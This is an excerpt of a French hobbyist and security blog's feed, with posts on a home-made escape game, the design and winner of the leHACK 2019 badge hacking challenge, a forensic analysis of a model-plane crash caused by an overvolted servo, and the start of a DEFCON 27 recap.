&lt;div class="section" id="realisation-de-l-escape-game-phase-2"&gt;
&lt;h2&gt;Réalisation de l'escape game (phase 2)&lt;/h2&gt;
&lt;p&gt;Cette phase de test a été l'occasion de trouver des erreurs, de penser à des améliorations, en bref de le rendre un
poil meilleur ! Car bon, il ne faut pas l'oublier: il s'agit d'un petit escape game conçu en moins de 2 heures avec
les moyens du bord.&lt;/p&gt;
&lt;p&gt;J'ai aussi publié sur Twitter et Instagram une photo de ce jeu, et plusieurs personnes ont manifesté leur intérêt. Du
côté de la famille et des amis, où on avait fait passer quelques photos, c'était la même chose. L'idée a donc germé
de le diffuser. Et pour le diffuser, il faut l'améliorer et le rendre utilisable par d'autres (aïe).&lt;/p&gt;
&lt;p&gt;La première modification apportée a été de changer le nom. En effet, le nom d'origine était &amp;quot;Le trésor d'Ecco Vid&amp;quot;,
mais la blagounette n'a pas été directement comprise par les enfants. Dommage. Sur conseil de mon épouse, j'ai changé
le nom de &lt;em&gt;Ecco Vid&lt;/em&gt; en &lt;em&gt;Ecco Rona&lt;/em&gt;, qui sonne mieux et annonce de suite la couleur :). J'ai aussi procédé à plusieurs
bugfix suite à la session de test (quelques erreurs sur des numéros, un numéro caché trop visible, etc.), et ai ajouté
toute une section concernant les règles (encore trop sommaires à mon goût), l'assemblage et la personnalisation.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="release-de-la-version-1-0-du-jeu"&gt;
&lt;h2&gt;Release de la version 1.0 du jeu&lt;/h2&gt;
&lt;p&gt;Après ces quelques heures supplémentaires à fignoler les cartes et les énigmes, j'ai tout poussé sur Github (fichiers
de conception SVG, polices de caractères utilisées et PDF final), et vous pouvez donc vous en resservir. Vous pouvez
imprimer le jeu à partir du fichier PDF ou bien le modifier comme il vous chante ce dernier, pour l'adapter à votre
situation (cadenas différent, énigmes plus corsées, à vous d'improviser !).&lt;/p&gt;
&lt;p&gt;Le tout est diffusé sous licence Creative Commons CC-BY-NC-SA, donc faites vous plaisir !&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://github.com/virtualabs/ecco-rona-escape/raw/master/le-tresor-d-ecco-rona.pdf"&gt;Télécharger le PDF du Trésor d'Ecco Rona&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://github.com/virtualabs/ecco-rona-escape"&gt;Accéder au repository Github pour contribuer&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="Geekeries"/><category term="covid19"/><category term="escape"/><category term="game"/></entry><entry><title>Challenge Black Badge leHACK 2019: le vainqueur</title><link href="https://virtualabs.fr/geekeries/lehack-black-badge" rel="alternate"/><published>2019-09-19T09:00:00+02:00</published><updated>2019-09-19T09:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2019-09-19:/geekeries/lehack-black-badge</id><summary type="html">&lt;p&gt;Lors de la première édition de &lt;a class="reference external" href="https://lehack.org/"&gt;leHACK&lt;/a&gt; qui a eu lieu en juin dernier,
tous les participants se sont vu remettre un badge électronique assez minimaliste. Ce badge
était constitué d'une LED et de ce qui ressemblait à une antenne. Et quelques petits trucs en
plus, sensiblement cachés dans le …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Lors de la première édition de &lt;a class="reference external" href="https://lehack.org/"&gt;leHACK&lt;/a&gt; qui a eu lieu en juin dernier,
tous les participants se sont vu remettre un badge électronique assez minimaliste. Ce badge
était constitué d'une LED et de ce qui ressemblait à une antenne. Et quelques petits trucs en
plus, sensiblement cachés dans le circuit imprimé.&lt;/p&gt;
&lt;div class="section" id="premieres-fausses-pistes"&gt;
&lt;h2&gt;Premières fausses pistes&lt;/h2&gt;
&lt;p&gt;Ce n'était pas le premier challenge lié au badge que je réalisais, mais celui-ci
a eu tout de même son lot d'erreurs. La plus grosse fut de ne pas mettre
directement, comme je l'avais fait il y a deux ans, un indice ou un lien vers
le début du challenge. Du coup, tous ceux qui s'y sont collés n'ont pas vraiment
su par où commencer, et bon nombre d'entre eux ont repéré l'indice placé sur le
badge: &amp;quot;Place me somewhere and be enlightened&amp;quot;. Aussi se sont-ils empressés de
chercher où placer le badge, harcelant le staff et moi-même pour avoir un indice
permettant de localiser l'endroit en question.&lt;/p&gt;
&lt;p&gt;Et il y a ceux qui ont cru que l'antenne était une antenne NFC (il y avait de quoi
s'y méprendre), et qui ont essayé de &amp;quot;lire&amp;quot; le badge avec différentes applications.
Ce qui a eu pour conséquence de faire clignoter la LED, avec un motif propre au
fonctionnement du NFC. Certains ont pris cela pour le début du challenge, et ont
ainsi cherché à décoder la trame, qui n'était qu'une conséquence de la tentative
de communication du téléphone avec le badge. Ce dernier ne répondant bien évidemment
pas.&lt;/p&gt;
&lt;p&gt;J'ai ainsi rectifié le tir via un tweet indiquant qu'il y avait un indice pour
identifier l'endroit où démarrait le challenge, qu'il s'agissait d'une URL,
mais que ce n'avait rien à voir avec le texte. On était déjà l'après-midi, la
journée était bien entamée.&lt;/p&gt;
&lt;center&gt;&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="fr" dir="ltr"&gt;Vous êtes intrigués par le badge &lt;a href="https://twitter.com/_leHACK_?ref_src=twsrc%5Etfw"&gt;@_leHACK_&lt;/a&gt;? Il y a pourtant bien un indice dessus sur l&amp;#39;endroit (URL) où il faut commencer. &lt;a href="https://twitter.com/hashtag/BlackBadge?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#BlackBadge&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/leHACK?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#leHACK&lt;/a&gt;&lt;/p&gt;&amp;mdash; Damien Cauquil (@virtualabs) &lt;a href="https://twitter.com/virtualabs/status/1147462873490296833?ref_src=twsrc%5Etfw"&gt;July 6, 2019&lt;/a&gt;&lt;/blockquote&gt;&lt;/center&gt;&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;&lt;p&gt;Finalement, plusieurs participants ont tiqué sur la présence de mon avatar sur le
circuit imprimé, et sont allé chercher du côté de ce blog. D'autres ont juste pensé
qu'il s'agissait d'une sorte de signature, là encore un manque de clareté de ma
part dans la conception de ce challenge.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="les-differentes-etapes"&gt;
&lt;h2&gt;Les différentes étapes&lt;/h2&gt;
&lt;p&gt;Quand j'ai pensé à ce challenge black badge, je voulais qu'il y ait différentes
techniques et connaissances mises en oeuvre. Pour varier les plaisirs, mais aussi
pour amener les participants sur des terrains qu'ils ne connaissent pas forcément,
bien qu'il n'y ait rien eu de super exotique en soit. Les étapes étaient donc les suivantes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Une petite épreuve de stéganographie des familles, avec un fichier polyglote très simple (coucou Ange !) et une truc moins sympa pour trouver l'URL de l'épreuve suivante ;&lt;/li&gt;
&lt;li&gt;Un peu de cryptographie, là encore rien de très difficile si l'on connaît les différents modes d'opération ;&lt;/li&gt;
&lt;li&gt;De la rétro-ingénierie de firmware, avec du nRF51822 et du Micropython dedans ;&lt;/li&gt;
&lt;li&gt;Une capture radio d'une émission de données, à analyser avec certains outils dont je parlais (oh surprise) dans mon talk ;&lt;/li&gt;
&lt;li&gt;Une devinette finale qui imposait de m'envoyer par email tout un ensemble d'informations répondant à celle-ci.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je ne vais pas entrer dans les détails de la résolution de ces épreuves car différents write-ups
ont été écrits et publiés par les participants (liens plus bas), mais je vais élucider
certains points techniques et l'origine de certaines étapes.&lt;/p&gt;
&lt;p&gt;Tout d'abord, la seconde étape. Je voulais intégrer une épreuve de cryptographie
abordable, pas techniquement très complexe mais qui joue avec la manière dont elle
est mise en oeuvre plutôt que la robustesse des clés ou des algorithmes. Disons
que le bruteforce c'est bien, mais l'objectif était d'amener une vulnérabilité moins
triviale qu'une clé de chiffrement facilement devinable (ou factorisable), et des concepts
de mathématiques rebutant le débutant. Il m'a semblé intéressant d'explorer les modes
d'opération, car tout le monde connaît le mode CBC (on dit un grand &amp;quot;merci&amp;quot; aux attaques par oracles
de padding), mais je me suis rendu compte que les autres modes étaient un peu délaissés. j'ai
donc opté pour une épreuve basée sur le mode CTR, qui est méconnu de certains bien que très
utilisé (notamment dans divers protocoles utilisant de l'AES-GCM ou de l'AES-CCM).&lt;/p&gt;
&lt;p&gt;De même, il me semblait inévitable de réaliser une épreuve de rétro-ingénierie de firmware.
Le souci, c'est que le RE d'instructions ARM est devenu &lt;em&gt;mainstream&lt;/em&gt; et qu'avec la sortie
de Ghidra, eh bien c'est devenu beaucoup plus simple. J'ai alors pensé à une fonctionnalité
que j'avais découvert quand je bossais sur le développement de &lt;a class="reference external" href="https://github.com/virtualabs/radiobit"&gt;Radiobit&lt;/a&gt;: les frozen modules.
Le système Micropython, que l'on trouve notamment sur le Micro:Bit, permet lors de sa compilation d'intégrer
des modules complémentaires développés en Python, mais de façon native. Un outil permet alors de
transposer le code python du module en question en code C, et de le compiler et de l'intégrer aux bibliothèques
de base. Bien sûr, le code C contient le &lt;em&gt;bytecode&lt;/em&gt; du module ainsi que des métadonnées, et donc toutes
les informations pour désassembler et interpréter le code du module (méthode pour les furieux).
Par ailleurs, le code principal de cette troisième étape en a fait buggé plus d'un: on a bien le code
Python du programme principal, mais pas de trace du module &lt;em&gt;crackme&lt;/em&gt; ! Plusieurs solutions utilisant différentes techniques ont été trouvées, dont certaines assez originales. Je
vous laisse lire les write-ups pour vous faire une idée des différentes méthodes. Cette étape a été la plus difficile à résoudre,
beaucoup de participants l'ayant téléchargée mais peu résolue durant l'évènement.&lt;/p&gt;
&lt;p&gt;L'étape suivante, la quatrième donc, consistait à aller au stand de &lt;em&gt;digital.security&lt;/em&gt; et de demander la &amp;quot;boîte magique&amp;quot;,
une boîte spécifiquement conçue pour utiliser l'antenne du badge pour transmettre une donnée via un signal lumineux. Seulement voilà,
il y avait un hic. Ma super boîte magique n'a pas supporté le voyage, et ne voulait plus faire allumer la LED du badge. J'ai passé
quelques heures à debugger le truc, sans succès, puis j'ai indiqué aux personnes du stand de renvoyer ceux qui demanderaient cette boîte
vers moi (via Twitter ou e-mail). Bizarrement, personne ne m'a contacté durant l'après-midi ou dans la nuit. Le troisième niveau aura eu
raison de la majorité des participants.&lt;/p&gt;
&lt;p&gt;J'ai donc, durant les jours suivants, distribué par Twitter et autres médias l'URL de la cinquième étape: un fichier de capture radio effectué
via un SDR. L'objectif était clairement d'extraire le contenu de la communication. Là encore, rien de difficile pour qui connaît le domaine, mais
c'est loin d'être le cas de la majorité des hackers présents: ces derniers savent utiliser GQRX ou des outils similaires, mais quand il faut enchaîner
les blocs GNURadio, c'est une autre histoire. Avec la bonne méthode d'analyse (subtilement abordée dans mon talk de leHACK), cela allait tout seul
et l'extraction ne posait plus trop de problème. On trouvait alors un lien vers l'épreuve finale: la devinette de la mort.&lt;/p&gt;
&lt;p&gt;La devinette de la mort était la suivante:&lt;/p&gt;
&lt;blockquote class="pull-quote"&gt;
&lt;p&gt;Already there when I started to hack, it is nowadays gone and will never come back.
This platform was once among the bests, providing an early hacking contest and
amazing tasks to solve without a rest.&lt;/p&gt;
&lt;p&gt;Show me your abilities by telling me what this platform is.
But don't yell it here, just whisper it to my ear,
show me what it did look like, show me what I did look
like at this time, and the black badge will no longer be mine.&lt;/p&gt;
&lt;p&gt;Virtualabs&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;L'objectif était donc d'identifier une plate-forme où j'ai découvert le &lt;em&gt;hacking&lt;/em&gt;, de me montrer à quoi elle ressemblait,
et à quoi je ressemblais à cette époque (histoire de ressortir les photos dossier).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="le-vainqueur"&gt;
&lt;h2&gt;Le vainqueur&lt;/h2&gt;
&lt;p&gt;La première personne à m'avoir fourni tous les éléments, et je dis bien TOUS les éléments, est &lt;strong&gt;Vincent Dehors&lt;/strong&gt;. Bravo à lui,
il remporte le Black Badge leHACK 2019 ! Il y aura peut-être un visuel dans les semaines à venir, qui sait.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="write-ups"&gt;
&lt;h2&gt;Write-ups&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://gist.github.com/fvln/827383426d25d3f1af6605d2556d5ef6"&gt;Un write-up de fvln, très complet et qui utilise qemu pour résoudre le crackme&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://bitsdeep.com/posts/solving-re-tasks-the-crypto-way/"&gt;Un write-up de ENOENT_ sur une méthodologie possible ciblant le chiffrement faible de la troisième étape&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Encore bravo à vous deux d'avoir complété la majorité de ce challenge, j'espère que vous l'avez apprécié !&lt;/p&gt;
&lt;/div&gt;
</content><category term="Geekeries"/><category term="leHACK"/><category term="badge"/><category term="contest"/></entry><entry><title>Analyse forensique du crash d'un aéromodèle radio-commandé</title><link href="https://virtualabs.fr/geekeries/analyse-forensic-crash-aeromodele" rel="alternate"/><published>2019-09-04T23:00:00+02:00</published><updated>2019-09-04T23:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2019-09-04:/geekeries/analyse-forensic-crash-aeromodele</id><summary type="html">&lt;p&gt;Cela va faire presque deux ans que je pratique à nouveau l'aéromodélisme. Je suis tombé
dedans à 14 ans, et j'avais du laisser cette activité en suspend lorsque j'entamais
mes études supérieures. Il y a environ deux ans, je décidais de m'y remettre et faisais
alors l'acquisition d'un avion radiocommandé …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Cela va faire presque deux ans que je pratique à nouveau l'aéromodélisme. Je suis tombé
dedans à 14 ans, et j'avais du laisser cette activité en suspend lorsque j'entamais
mes études supérieures. Il y a environ deux ans, je décidais de m'y remettre et faisais
alors l'acquisition d'un avion radiocommandé thermique, car mes précédents modèles
n'étaient pas terminés et avaient fini en bois de chauffage (ou presque). Tout
se passait bien, jusqu'à la séance de la semaine dernière où mon avion s'est
lamentablement écrasé dans un champ. C'est l'occasion de mener une petite enquête style
BEA afin de trouver l'origine de l'accident.&lt;/p&gt;
&lt;div class="section" id="le-crash"&gt;
&lt;h2&gt;Le crash&lt;/h2&gt;
&lt;p&gt;Je m'étais installé tranquillement sur le terrain du club (homologué DGAC), et j'ai
entamé cette session de vol par la vérification du modèle. Cette étape est obligatoire,
durant laquelle on effectue un ensemble de vérifications avant le vol. Les pilotes
d'avions grandeurs (des &amp;quot;vrais&amp;quot; avions, les chanceux) suivent exactement le même procédé avant
chaque vol. Je vérifie ainsi le bon état des servomoteurs, des connections électriques
et électroniques, ainsi que l'état des commandes de gouvernes, les serrages des vis, etc.
Tout est passé au crible avant la mise en route du modèle, afin d'éviter toute surprise
en vol.&lt;/p&gt;
&lt;img alt="L'avion paré pour la session de vols" src="/images/servo-forensic/calmato.jpg" /&gt;
&lt;p&gt;J'effectue ensuite plusieurs vols afin de m'entraîner aux atterrissages, car c'est
une phase qui est relativement sensible et que je dois en particulier travailler. Oui,
j'ai appris à piloter assez récemment, et ceci fait partie de l'entraînement du
débutant. Tout se passe bien jusque là, mes atterrissages ne sont pas parfaits mais
l'avion se pose en un morceau et en douceur à chaque fois. Après avoir usé un plein
de carburant, je remplis à nouveau le réservoir et entame une autre série de vols,
toujours dans l'optique d'affiner ma technique d'atterrissage.&lt;/p&gt;
&lt;p&gt;Je pose l'avion une fois et je repars dans la foulée (un &amp;quot;touch and go&amp;quot;), j'entame
une autre approche et me rend compte que cela va être difficile de poser. En effet,
l'avion arrive trop haut et si je prends la décision de poser, il terminera sa course
en dehors de la piste et certainement dans un sale état. Dans ce cas de figure,
l'usage veut que l'on remette les gaz à fond et que l'on prenne de l'altitude, ce que
je fais. Enfin, l'avion reprend de la vitesse mais reste en phase de descente.
La commande de profondeur, qui gère l'inclinaison de l'avion, ne semble plus répondre.
Je vois ainsi l'avion foncer plein gaz vers le sol, en légère descente, avec pour
conséquence un crash assuré.&lt;/p&gt;
&lt;p&gt;En dernier espoir et vu qu'il me restait encore un peu de marge, je décide de m'acharner
sur la commande de profondeur. Et elle se remet à fonctionner ! L'avion cabre un peu brusquement
et reprend de l'altitude. Malheureusement, vu que j'étais en panique j'ai un peu forcé
sur la commande et du coup il risque le décrochage, et là encore c'est le crash assuré.
J'essaie d'ajuster l'inclinaison en faisant piquer légèrement l'avion, mais rien n'y fait.
C'est le décrochage. L'avion se met à piquer vers le sol, et je n'ai pu que couper les gaz
et observer le résultat: un bruit sourd fait de bois qui craque, de toile qui se froisse
et de moteur qui s'écrase dans la terre. Je ramasse les restes dans le champ voisin, je
mets le tout dans la voiture et rentre chez moi.&lt;/p&gt;
&lt;div class="figure"&gt;
&lt;img alt="Un avion au tapis, un !" src="/images/servo-forensic/crash.jpg" /&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="analyse-de-l-accident"&gt;
&lt;h2&gt;Analyse de l'accident&lt;/h2&gt;
&lt;p&gt;Une fois à la maison, je tente de rassembler mes souvenirs. Pas facile, tout cela
s'est déroulé en un temps relativement court, et je crois me rappeler de choses qui
au final ne sont peut-être pas arrivées. Pendant un temps je pensais que la commande
des gaz ne répondait plus, mais après quelques jours j'étais à nouveau persuadé
qu'elle fonctionnait bien (cf. &lt;a class="reference external" href="https://fr.wikipedia.org/wiki/Faux_souvenirs"&gt;les faux souvenirs&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Tout comme le BEA mène l'enquête lors d'accidents ou d'incidents impliquant des aéronefs,
je décidais de chercher l'origine du mien. A ce stade de l'enquête, je suspecte tout
de même plusieurs organes d'être à l'origine du dysfonctionnement: le récepteur peut
avoir cafouillé, les servomoteurs être tombés en panne, ou les commandes des gouvernes
peuvent avoir lâché.&lt;/p&gt;
&lt;p&gt;Première étape, analyser les commandes des gouvernes. Un problème mécanique est si
vite arrivé, bien que j'ai vérifié ces dernières avant le vol. Aucune surprise de
ce côté là, tout est bien fixé et rien n'a lâché. Cela ne semble pas venir de la
mécanique. Je passe ensuite au récepteur, l'alimente de nouveau et vérifie la
connexion avec la radiocommande. Pas de perte au niveau de cette dernière, et un
servomoteur branché sur les gaz répond très bien. Je teste avec le même servomoteur
l'ensemble des commandes, et tout fonctionne comme prévu. Le récepteur est donc
peu susceptible d'avoir eu un défaut de fonctionnement, mais un défaut de réception
n'est pas à exclure. Enfin, je reconnecte tous les servos au récepteur (à l'exception
des ailes) et vérifie le fonctionnement de ces derniers. Et là, surprise ! Le
servomoteur gérant la profondeur ne répond pas. Pire, lorsqu'il est actionné
manuellement, il bouge et se bloque de manière intempestive !&lt;/p&gt;
&lt;p&gt;Il ressort ainsi plusieurs hypothèses des premières constatations. La première
hypothèse formulée est que le récepteur a eu des difficultés à recevoir les
signaux de ma radiocommande. La seconde est que le servomoteur de la profondeur
a eu un défaut de fonctionnement. La troisième est que la panne a été causée par
un évènement inconnu qui n'a pas survévu au crash. Parmi ces hypothèses, la première
est très peu probable car au moment de l'atterrissage, ma radiocommande était
proche de l'avion. La troisième est très difficile à déterminer car elle nécessite
une inspection minutieuse des débris, ce qui est plus complexe à faire sur un
modèle réduit que sur un véritable avion. Imaginez, un modèle réduit n'utilise
pas de tôle pour ses parois mais une simple toile tendue... Je décide donc de
creuser la seconde hypothèse.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="analyse-du-servomoteur-defectueux"&gt;
&lt;h2&gt;Analyse du servomoteur défectueux&lt;/h2&gt;
&lt;p&gt;Le servomoteur en question est un HS-311 conçu par Hitec. Ce type de servomoteur
est peu onéreux et réputé pour être fiable, et est utilisé par de nombreux modélistes. Avant
d'entrer dans les détails de l'analyse, quelques rappels sur le fonctionnement des servomoteurs.&lt;/p&gt;
&lt;p&gt;Un servomoteur est un système électromécanique permettant de convertir une information
de position (la commande transmise) en mouvement mécanique asservi (la position du pignon).
Le servomoteur a donc un moteur pour provoquer le mouvement mécanique couplé à un capteur
de position, généralement un potentiomètre relié aux pignons du mécanisme de réduction.
Le servomoteur est ainsi capable de faire tourner le moteur dans un sens ou dans l'autre,
en fonction de la position à atteindre. Son système de pignons de réduction permet d'assurer
un certain couple et une résistance aux efforts.&lt;/p&gt;
&lt;p&gt;Je décide alors de démonter intégralement le servomoteur, afin d'isoler l'électronique
de la mécanique. Je mets de côté le circuit imprimé qui contrôle le moteur à courant
continu, et dessoude le moteur. Dans un premier temps, je me concentre sur le moteur: je
câble directement le moteur sur une batterie, et tente d'appliquer un effort sur le
pignon principal. Et là, j'arrive à stopper la rotation du moteur, ce qui n'est pas du
tout normal. En effet, le moteur devrait se remettre à tourner mais au lieu de cela, il
reste immobile. On dirait bien que le moteur est à l'origine du problème.&lt;/p&gt;
&lt;center&gt;
&lt;video controls style="width: 100%;"&gt;
  &lt;source src="/images/servo-forensic/test-dc-motor.mp4" type="video/mp4"&gt;
&lt;/video&gt;
&lt;/center&gt;&lt;p&gt;Je démonte alors le moteur à coups de pince, et à l'aide d'une dose de force et de
subtiles coups donnés sur l'axe arrive à le démonter intégralement. Si vous n'avez
jamais vu l'intérieur d'un moteur à courant continu, les photos ci-dessous vous éclaireront.&lt;/p&gt;
&lt;div class="figure"&gt;
&lt;img alt="Rotor monté sur le socle" src="/images/servo-forensic/motor-internals.jpg" /&gt;
&lt;/div&gt;
&lt;br&gt;&lt;div class="figure"&gt;
&lt;img alt="Stator du moteur" src="/images/servo-forensic/motor-stator.jpg" /&gt;
&lt;/div&gt;
&lt;p&gt;Il s'agit d'un moteur à pinceaux (ou moteur &amp;quot;brushed&amp;quot;), qui font contact avec une bague
spécifique (le commutateur) qui alimente ensuite les différentes bobines et fait
tourner le rotor. Le stator quant à lui est simplement composé d'un gros aimant.
Le moteur ici présent possède un rotor constitué de trois bobines, chacune ayant
un contact dédié sur l'axe du rotor avec lequel les pinceaux sont en contact.&lt;/p&gt;
&lt;p&gt;Vérifions le bon état des bobines, pour cela je mesure la résistance à l'aide d'un
multimètre. Si cette résistance est non-nulle (une dizaine d'ohms) cela signifie
que la bobine est opérationnelle. Si cette dernière est nulle ou infinie, cela
signifie que la bobine a fondu (court-circuit) ou que le fil est rompu à un endroit.
Dans mon cas, il se trouve que deux bobines ont une résistance infinie, et donc que leurs
bobinages sont rompus.&lt;/p&gt;
&lt;p&gt;La conséquence de ce défaut est triviale: pour une position
spécifique du rotor du moteur, la bobine associée ne produira aucun champ magnétique
et donc aucun mouvement. Ceci dit, le rotor a une certaine inertie et en temps normal
celle-ci permet de passer au delà du bobinage défectueux et de garder le moteur en
rotation. Cependant, si le servomoteur s'arrête sur une bobine défectueuse, cela
va causer une défaillance dans le couple et potentiellement un arrêt du moteur.
Autrement dit, le moteur ne redémarrera pas si ce dernier est déjà arrêté avec
les pinceaux alimentant une ou deux bobines défectueuses.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="recherche-de-l-origine-du-defaut-du-moteur"&gt;
&lt;h2&gt;Recherche de l'origine du défaut du moteur&lt;/h2&gt;
&lt;p&gt;Si l'on cherche sur Internet les spécifications du moteur, on tombe au bout d'un
moment sur un moteur à l'allure très proche, le JL-RF020 de &lt;em&gt;Shantou Jiali Micro Motor Co. Ltd&lt;/em&gt;,
qui possède les mêmes dimensions et la même allure:&lt;/p&gt;
&lt;img alt="Vue de face du moteur trouvé dans le servo" src="/images/servo-forensic/moteur-face.jpg" /&gt;
&lt;p&gt;Et voici la fiche technique du JL-RF020. Jugez de la ressemblance:&lt;/p&gt;
&lt;img alt="Fiche technique du moteur JL-RF020" src="/images/servo-forensic/jl-rf020.png" /&gt;
&lt;p&gt;Le moteur est ainsi annoncé avec une tension nominale de 4.5 volts et une tension
maximale de 5.5 volts. Etrange, car la fiche technique du servomoteur indique que
ce dernier accepte une tension d'alimentation allant de 4.8 volts à 6 volts.
Cette tension d'alimentation est appliquée à chaque bobine du moteur,
sachant que deux bobines sur 3 sont alimentées en permanence.
A l'aide de mon multimètre, j'ai mesuré la résistance de la seule bobine
restante: environ 14 ohms. Cela donne un courant maximal pour le moteur de:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
I = U/R = 6.0 / (1/((1/14)+(1/14)) = 0.857 A
&lt;/pre&gt;
&lt;p&gt;Chaque bobine est parcourue par un courant de 430 mA environ lorsque le servomoteur est
soumis à une tension de 6 volts. Une rupture du fil de bobinage d'une bobine de
moteur est très probablement due à une surintensité, ce qui a pour conséquence
de faire fondre ce dernier et de couper le circuit. Comme un fusible.
La résistance de la bobine étant fixe, seule une tension plus élevée que 6 volts
peut provoquer une intensité supérieure à 430 mA.&lt;/p&gt;
&lt;p&gt;La tension relevée sur l'accu NiMH utilisé dans mon avion était de 6.7 volts au
moment du crash. Cette tension était relevée en temps réel et affichée sur ma
radiocommande dans les informations de télémétrie. Calculons l'intensité du courant
fourni au moteur:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
I = U/R = 6.7 / 7 = 0.957 A
&lt;/pre&gt;
&lt;p&gt;Une telle intensité est au-delà de ce que peut supporter le moteur. Si l'on
regarde l'intensité maximale que peut supporter le fil du bobinage, en nous basant
sur son diamètre (0.18mm), on peut se rendre compte que ce dernier tolère au maximum 430 mA,
soit approximativement l'intensité parcourant le bobinage lorsque le moteur est
alimenté en 6V.&lt;/p&gt;
&lt;p&gt;Si l'on alimente le moteur avec 6.7V, l'intensité parcourant le bobinage provoque
un échauffement qui peut être fatal au moteur. Cependant, le fil met du temps à
chauffer et fondre, et il faut que cette intensité traverse le fil durant une
certaine période de temps.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="origine-de-la-surintensite"&gt;
&lt;h2&gt;Origine de la surintensité&lt;/h2&gt;
&lt;p&gt;Tout porte à croire que le servomoteur a été victime d'une surintensité qui a
provoqué la rupture d'un fil de bobinage du moteur et le blocage de ce dernier.
Mais comment ce servomoteur s'est-il retrouvé alimenté par une tension supérieure à
la tension maximale de fonctionnement (6V) ?&lt;/p&gt;
&lt;p&gt;J'utilise un accumulateur NiMH (&amp;quot;Nickel - Metal hydride&amp;quot;), qui est composé de 5
cellules. Chaque cellule délivre 1.2V, soit 6V au total. Mais ça, c'est dans le
meilleur des mondes. Car lorsque l'on charge une batterie NiMH, les cellules peuvent
être chargées jusqu'à environ 120% de leur capacité, soit 1.44V chaque. Ce qui
donne une tension de sortie de 7.2 volts, au lieu des 6 volts nominaux. De fait,
l'emploi de cet accumulateur lorsqu'il est pleinement chargé augmente les risques
de rupture du fil de bobinage du servomoteur provoqué par une surintensité.&lt;/p&gt;
&lt;p&gt;Il aurait mieux fallu choisir un accumulateur de 4.8 volts (composé de 4 cellules),
dont la tension maximale fournie à pleine charge est de 5.8 volts, ce qui ne risque pas d'endommager
le servomoteur. Le site sur lequel j'ai acheté l'avion en question recommandait l'accumulateur de 6 volts,
je n'ai pas forcément cherché à vérifier les spécifications de ce dernier et ai
donc suivi les recommandations du vendeur.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="conclusion"&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Après investigation, le moteur du servomoteur gérant la profondeur a subi une surintensité
qui a amené deux des trois bobinages du rotor à se rompre, provoquant un dysfonctionnement
du servomoteur. La commande de profondeur étant très sollicitée notamment lors des phases
d'atterrissage, la probabilité d'un défaut de ce servomoteur était relativement élevée.&lt;/p&gt;
&lt;p&gt;Une pleine charge de l'accumulateur de réception a amené ce dernier à fournir une tension
supérieure à la tension maximale supportée par les servomoteurs, ce qui est probablement
à l'origine de la surintensité qui a causé la défaillance.&lt;/p&gt;
&lt;p&gt;Avant cette session de vol, j'avais chargé à bloc l'accumulateur de réception bien
que ce dernier ait été peu utilisé lors de la session précédente. Habituellement,
l'accumulateur fournit une tension autour de 6 volts (entre 6 et 6.2 volts) car
je le chargeais rarement au maximum. C'est donc ma méconnaissance du fonctionnement
des accumulateurs NiMH et le fait que je n'ai pas consulté la documentation du
constructeur du servomoteur qui sont à l'origine de ce crash.&lt;/p&gt;
&lt;p&gt;Leçon apprise.&lt;/p&gt;
&lt;img alt="Failure is always an option" src="/images/servo-forensic/failure.jpg" /&gt;
&lt;/div&gt;
</content><category term="Geekeries"/><category term="aéromodélisme"/><category term="crash"/><category term="forensic"/></entry><entry><title>De retour de DEFCON 27</title><link href="https://virtualabs.fr/humeur/defcon-27" rel="alternate"/><published>2019-08-12T21:00:00+02:00</published><updated>2019-08-12T21:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2019-08-12:/humeur/defcon-27</id><summary type="html">&lt;p&gt;J'ai eu (encore) la chance de participer en tant que &lt;em&gt;speaker&lt;/em&gt; à DEFCON cette année,
qui se déroulait dans les centres de convention des casinos Paris, Bally's, Planet Hollywood
et Flamingo. Pour ceux qui ne connaîtraient pas cet évènement, je vous invite à visionner
le documentaire qui a été réalisé …&lt;/p&gt;</summary><content type="html">&lt;p&gt;J'ai eu (encore) la chance de participer en tant que &lt;em&gt;speaker&lt;/em&gt; à DEFCON cette année,
qui se déroulait dans les centres de convention des casinos Paris, Bally's, Planet Hollywood
et Flamingo. Pour ceux qui ne connaîtraient pas cet évènement, je vous invite à visionner
le documentaire qui a été réalisé pour les 20 ans de celui-ci, qui est &lt;a class="reference external" href="https://media.defcon.org/DEF%20CON%2020/DEF%20CON%2020%20documentary/DEF%20CON%2020%20Documentary%201080p/"&gt;téléchargeable
sur leur serveur média&lt;/a&gt;.&lt;/p&gt;
&lt;img alt="DEFCON dystopia" src="/images/dc27/defcon-dystopia.jpg" /&gt;
&lt;div class="section" id="plus-gros-plus-grand-plus-diversifie"&gt;
